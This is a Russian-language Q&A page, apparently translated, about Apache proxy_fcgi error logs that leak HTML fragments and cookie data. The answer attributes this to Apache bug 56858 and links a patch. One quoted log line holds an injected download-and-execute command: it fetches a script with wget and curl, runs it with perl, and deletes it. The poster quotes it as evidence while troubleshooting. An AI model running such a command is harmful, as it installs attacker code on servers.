Назад | Перейти на главную страницу

Случайное значение HTML и cookie добавляется к сообщению об ошибке apache proxy_fcgi

Я использую Apache с PHP-FPM на своем веб-сервере. Когда пользователь вводит случайный путь, который Apache передает proxy-fcgi, и файл не может быть найден, в журнал ошибок будет записана стандартная ошибка:

AH01071: Got error 'Primary script unknown\n'

Однако в некоторых случаях я получаю фрагмент HTML со случайной страницы моего веб-сайта, например:

AH01071: Got error 'Primary script unknown\n\r\n\r\n<!DOCTYPE html>\n\n<html>\n<head>\n<title>Title of My Webpage</title>\n<meta charset='UTF-8'>\n<meta na.....

так что:

AH01071: Got error 'Primary script unknown\nmmary'>\n<colgroup>\n<col/><col/><col/><col/>\n</colgroup>\n<tbody>\n<tr><td....

Я очень забеспокоился, когда сегодня увидел что-то вроде этого:

AH01071: Got error 'Primary script unknown\nmp;wget http://redacted/sacd ; curl -O http://redacted/sacd ; perl sacd ;rm -rf sac*"); charset='UTF-8'>\n<meta name='format-de....

Я думаю, это значение cookie, вкрапленное в случайный фрагмент HTML. Кто-нибудь испытывал это явление? Можно ли что-нибудь сделать, чтобы предотвратить добавление случайного HTML и файла cookie к сообщению об ошибке?

Это ошибка 56858, которая будет исправлена ​​в следующем выпуске 2.4.x (2.4.11?) Вот патч:

http://svn.apache.org/viewvc?view=revision&revision=1621602